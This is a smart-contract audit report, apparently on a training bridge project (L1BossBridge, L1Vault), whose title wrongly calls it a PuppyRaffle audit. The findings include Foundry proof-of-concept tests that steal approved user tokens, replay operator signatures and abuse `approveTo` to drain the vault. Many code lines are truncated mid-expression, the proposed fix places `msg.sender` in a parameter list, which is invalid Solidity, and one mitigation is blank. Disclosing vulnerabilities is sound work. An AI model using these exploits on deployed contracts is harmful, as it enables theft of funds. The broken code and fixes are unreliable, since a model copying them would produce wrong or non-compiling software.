Protocol Audit Report

Sodiq Adewole

November 8, 2024.

PuppyRaffle Audit Report

Version 1.0

Sodiq Adewole

November 8, 2024

Protocol Audit Report

Sodiq Adewole

November 8, 2024.

Prepared by: [Sodiq Adewole] Lead Security Reasearcher: - Sodiq Adewole

Table of Contents

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.

- Withdrawals must be approved by a bridge operator.

We plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

Disclaimer

Sodiq Adewole makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 73057fdc504b53956b61cb3958e557447f1799c3

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.

- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Issues found

Severity	Number Of Issues Found
High	5
Medium	1
Low	1
Gas	0
Info	1
Total	8

Findings

High ### [H-1] Arbitrary `from` in the `depositTokensToL2` function, allows to an attacker to drain the funds of users.

Description: In the `L1BossBridge::depositTokensToL2` function, the parameter `from` is passed an input parameter for any user that would be depositing their tokens to L2. However, the `from` parameter in the function can be used as an exploit to drain the funds of users that are callling the function.

Impact: All the token balance of the user can be stolen by an attacker that already knows the address of the user.

Proof of Concept: 1. User gets the approval to spend the token on the `L1BossBridge` contract 2. An attacker notices the approval and gets the address of the user. 3. An attacker pass the address of the user to call the `depositTokensToL2` function and thereby passing its own address as the `l2recipient` parameter and thereby stealing all the user money.

PoC Place the following test into `L1TokenBridge.t.sol`

```
function testCanMoveApprovedTokensOfOtherUsers() public {
        address attacker = makeAddr("attacker");

        vm.startPrank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        // Bob the attacker
        uint256 depositAmount = token.balanceOf(user);
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
```

```
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);

        vm.stopPrank();
    }
```

Recommended Mitigation: Consider removing the `from` from the function and using `msg.sender`

```
-    function depositTokensToL2(address from, address l2Recipient, uint256 amount) external
+    function depositTokensToL2(msg.sender, address l2Recipient, uint256 amount) external wh
```

[H-2] Arbitrary `from` in the `depositTokensToL2` function and maximum appproval of the `L1Vault`, allows a malicious to steal money from the vault.

Description: The `L1Vault` gives a maximum approval of money to the `L1BossBridge` contract. However, a malicious user/attacker can pass the address of the vault on the arbitrary parameter `from` in the `L1BossBridge::depositTokensToL2` and thereby stealing all the money in the vault.

Impact: A malicious user/attacker can steal all the money in the vault.

Proof of Concept: 1. The `L1BossBridge` has the maximum approval of the `L1Vault` 2. A malicious user/attacker calls the `L1BossBridge::depositTokensToL2` and passing the address of the vault as `from` 3. The attacker steals all the money.

PoC

Place the following test into `L1TokenBridge.t.sol`

```
function testTransferTokensFromVaultToVault() public {
        address attacker = makeAddr("attacker");
        uint256 vaultBalance = 50e18;

        deal(address(token), address(vault), vaultBalance);
         vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker, vaultBalance);
        vm.stopPrank();
    }
```

Recommended Mitigation: Consider removing the `from` from the function and using `msg.sender`

```
-    function depositTokensToL2(address from, address l2Recipient, uint256 amount) external
+    function depositTokensToL2(msg.sender, address l2Recipient, uint256 amount) external wh
```

[H-3] Unknown byte code of the token contract beforehand will not make the `TokenFactory::deployToken` function work, thereby leading to the disruption of the protoccol

Description: The `TokenFactory::deployToken` uses the `create` evm opcode to deploy the token without knowing the byte code of contract before hand. However, the function will not work on the Zksync chain, according to the Zksync documentation of the protocol.

Impact: The owner will not be able to mint tokens on the contract.

Proof of Concept: According to this Zksync documentation [https://docs.zksync.io/build/developer-reference/ethereum-differences/evm-instructions], the transaction will fail/or will not work on the zksync chain if the byte code of the contract that is being deployed is not known before hand. Because the compiler will not be aware of the byte code before hand.

Recommended Mitigation:

[H-4] Signature Replay attack in `L1BossBridge::withdrawTokensToL1`, leading stealing the money in the vault.

Description: The `L1BossBridge::withdrawTokenToL1` allows users to withdraw tokens to the L1. However, the signed data from the signer is public onchain which can be easily be called by an attacker thereby steal all money in the vault.

Impact: An attacker steals all the money in the vault.

Proof of Concept:

PoC

Place the following test `L1TokenBridge.t.sol`

```
function testSignatureReplay() public {
        address attacker = makeAddr("attacker");
        // assuming the vault already has some tokens
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token),  address(vault), vaultInitialBalance);
        deal(address(token), attacker, attackerInitialBalance);

        // An attacker deposits to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(address(attacker), address(attacker) , attackerInitialB

        // Signer/Operator is going to sign the withdrawal
```

```
    bytes memory message = abi.encode(address(token), 0, abi.encodeCall(IERC20.transferFrom

     (uint8 v, bytes32 r, bytes32 s )  = vm.sign(operator.key, MessageHashUtils.toEthSigne

    while (token.balanceOf(address(vault)) > 0) {
     tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v,r,s);
    }


    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance + vaultInitialBala
    assertEq(token.balanceOf(address(vault)), 0);
}
```

Recommended Mitigation: Consider using the something like deadline, nonce as an input parameter in order to allow the signed data to be only be used once.

[H-5] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

The L1BossBridge contract includes the sendToL1 function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract.

The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that targets the vault and executes is approveTo function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

Proof of Concept:

PoC

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {

        address attacker = makeAddr("attacker");
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption that the
```

```
        // bridge operator needs to see a valid deposit tx to then allow us to request a withdr
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(attacker), address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0), 0);

        // Under the assumption that the bridge operator doesn't validate bytes being signed
        bytes memory message = abi.encode(
            address(vault), // target
            0, // value
            abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)) // data
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker), type(uint256).max);
        token.transferFrom(address(vault), attacker, token.balanceOf(address(vault)));
    }
```

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the L1Vault contract.

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Neither the sendToL1 function nor the withdrawTokensToL1 function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the sendToL1 function to include a new event that is always emitted upon completing withdrawals.

Informational

[I-1] Insufficient Test Coverage

File	% Lines	% Statements	% Branches	% Funcs
src/L1BossBridge.sol	77.78% (14/18)	82.61% (19/23)	66.67% (2/3)	85.71% (6/7)
src/L1Token.sol	100.00% (1/1)	100.00% (1/1)	100.00% (0/0)	100.00% (1/1)
src/L1Vault.sol	50.00% (1/2)	50.00% (1/2)	100.00% (0/0)	50.00% (1/2)
src/TokenFactory.sol	100.00% (4/4)	100.00% (4/4)	100.00% (0/0)	66.67% (2/3)
Total	80.00% (20/25)	83.33% (25/30)	66.67% (2/3)	76.92% (10/13)